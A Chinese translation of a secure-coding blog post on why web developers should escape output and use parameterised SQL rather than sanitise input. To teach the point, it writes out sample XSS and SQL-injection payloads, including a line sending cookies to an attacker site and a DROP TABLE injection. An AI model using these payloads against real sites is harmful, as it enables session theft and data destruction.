Don't try to sanitize input. Escape output.

Ben Hoyt

別試著淨化輸入,要跳脫輸出

原文由 Ben Hoyt 發布,訂閱此部落格

每隔一段時間,就會有開發者談到為了防止跨站腳本攻擊而要「淨化使用者輸入」。這立意良善,卻會帶來錯誤的安全感,有時還會把原本正常的輸入搞得亂七八糟。

跨站腳本攻擊是如何發生的?

如果使用者輸入的資訊,會被網站原封不動地在頁面的 HTML 中重現,這個網站就容易受到跨站腳本(XSS)攻擊。這可能會造成一些小問題(例如破壞頁面排版的 HTML),也可能造成嚴重的問題(例如把使用者的登入 Cookie 傳送到攻擊者網站的 JavaScript)。

我們來看一個具體的例子:

  1. NaiveSite 讓你可以輸入姓名,並原樣顯示在你的個人檔案頁面上。
  2. Billy the Kid 輸入的姓名是 Billy <script>alert('Hello Bob!')</script>
  3. 任何造訪 Billy 個人檔案頁面的人,都會收到包含未經跳脫的 script 標籤的 HTML,而瀏覽器就會執行它。
  4. 如果把 alert() 換成更惡意的程式碼,例如 sendCookies('https://billy.com/cookie-monster'),Billy 現在就可能正在蒐集毫無戒心的訪客的登入資訊。

題外話:實際情況沒這麼單純,因為登入用的 Cookie 通常會被標記為 HttpOnly,代表 JavaScript 無法存取。但這是 NaiveSite,所以很可能他們既犯了 XSS 的錯誤,也犯了 Cookie 設定的錯誤。

為什麼過濾輸入不是個好主意

開發者聽過「過濾輸入」或「淨化輸入」這回事,於是在儲存姓名之前,寫了一段程式碼把不安全的 HTML 字元 <>& 去掉。問題解決了!

但這麼做有兩個問題。首先,一對伴侶可能會以 Bob & Jane Smith 的名義在 NaiveSite 上註冊,但過濾程式碼把 & 去掉了,結果 Bob 突然變成孤家寡人,還多了一個叫 Jane 的中間名。

或者,如果過濾器更嚴格,連 '" 也一併去掉,那麼像 Bill O’Brien 這樣的人就會變成 Bill OBrien。把人家的名字搞錯可不是什麼好事。

更重要的是,這會給人錯誤的安全感。什麼叫「不安全」?在什麼情境下?的確,<>& 在 HTML 中是不安全的字元,但 CSS、JSON、SQL,甚至 shell script 呢?那些情境有著完全不同的不安全字元集合。

例如,NaiveSite 可能有一個長這樣的 PHP 樣板:

<html>
...
<script>
var name = "<?=$name?>";
</script>

如果攻擊者把名字設成包含雙引號的字串,例如 "; badFunc(); ",他們就能在任何會顯示使用者名稱的 NaiveSite 頁面上執行任意 JavaScript(如果你已登入,可能是每個頁面都會顯示)。

另一種類似的攻擊是 SQL 注入,這是一種與跨站腳本密切相關的攻擊。NaiveSite 是以 MySQL 驅動的,它用以下方式來尋找使用者:

$query = "SELECT * FROM users WHERE name = '{$name}'"

當一個名叫Robert'); DROP TABLE users;的男孩出現時,NaiveSite 的整個使用者資料庫就被刪掉了。哎呀!

順帶一提,xkcd 漫畫中的那位媽媽說:「希望你已經學會要淨化你的資料庫輸入。」這句話有點讓人困惑,不過我願意相信 Randall,他的意思應該是「跳脫你的資料庫參數」。

簡而言之,把「危險字元」去掉是沒有用的,因為有些字元在某些情境下很危險,在其他情境下卻完全安全。

改為跳脫你的輸出

唯一知道哪些字元危險的程式碼,就是在特定情境下負責輸出的那段程式碼。

因此,更好的做法是原封不動地儲存使用者輸入的任何名稱,然後讓樣板系統在輸出 HTML 時進行 HTML 跳脫,或在輸出 JSON 與 JavaScript 時正確地進行跳脫。

當然,也要使用 SQL 引擎的參數化查詢功能,讓它在組建 SQL 時正確地跳脫變數:

$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);

這種做法有時被稱為「情境化跳脫」。如果你剛好使用 Go 的html/template套件,就能自動獲得針對 HTML、CSS 和 JavaScript 的情境化跳脫。其他大多數樣板系統至少也會提供自動的 HTML 跳脫,例如 React、Jinja2 和 Rails 的樣板。

但如果你就是想要原始輸入呢?

一個比較棘手的情況是,當你的應用程式目的就是讓使用者輸入 HTML 或 Markdown 來顯示時。在這種情況下,你在渲染輸出時不能跳脫,因為整個目的就是要讓使用者能夠加入連結、圖片、標題等等。

所以你必須採取不同的方法。如果你使用的是 Markdown,你可以:

  1. 只允許他們輸入純 Markdown,並在渲染時再轉換為 HTML(許多 Markdown 函式庫預設允許原始 HTML,請務必將其關閉)。這是最安全的選項,但限制也較多。
  2. 允許他們在 Markdown 中使用 HTML,但僅限於一份允許標籤與屬性的白名單,例如 <a href="..."><img src="...">Stack ExchangeGitHub 都是採用第二種做法。

如果你沒有使用 Markdown,而是想讓使用者直接輸入 HTML,那就只有第二種選擇——你必須使用白名單來過濾。這比你想像中更難做得正確(例如 <img src="x" onerror="badFunc()">),所以務必使用像DOMPurify這類成熟且經過安全審查的函式庫。

因此,在你確實需要「原樣輸出」使用者原始輸入的情況下,請根據嚴格的白名單仔細過濾輸入,並將結果儲存到資料庫中。等到要輸出時,就照儲存的內容直接輸出,不需再跳脫。

以 SQL 注入來說,類似的情況可能是你在打造一個允許使用者輸入任意 SQL 查詢的資料圖表工具。你可能想讓他們輸入 SELECT 查詢,但不允許會修改資料的查詢。在這種情況下,最好使用正規的 SQL 解析器(像這個)來確保它是格式正確的 SELECT 查詢——但要正確做到這點並不簡單,所以務必請人進行安全審查。

那驗證呢?

淨化輸入通常不是好主意,但輸入驗證是好事。

舉例來說,當你在解析表單欄位時,如果有個數字欄位填的不是數字,或是電子郵件地址沒有 @,或是「文章狀態」下拉選單只能是 draftpublishedarchived 其中之一——那麼務必進行驗證,如果無效就回傳錯誤。

好的網頁表單驗證會在欄位旁直接顯示錯誤,讓使用者清楚知道要修正什麼:

網頁表單驗證

你至少必須在後端進行驗證,否則攻擊者可以繞過前端驗證,直接對你的端點 POST 假資料。此外,你也可以在前端提早驗證,以便更即時地顯示錯誤,而不需要來回跑一趟伺服器。

延伸閱讀

OWASP 有兩份關於跨站腳本防禦SQL 注入防禦的速查表,裡面包含了許多關於跳脫的進一步資訊。

StackOverflow 上也有一個針對「如何用 PHP 淨化使用者輸入?」的回答,雖然比較針對 PHP,但我覺得它簡潔又有幫助。它連結到一個關於 PHP magic quotes 的頁面,那是個糟糕的設計,實際上已在 PHP 5.4 中被移除——那裡的討論與我上面所寫的內容非常一致。

如果你對這篇文章有任何回饋,歡迎與我聯繫!也可以參考 Hacker Newsprogramming reddit 上的留言討論。

本文章由 muse-spark-1.2-contributor 進行翻譯

留言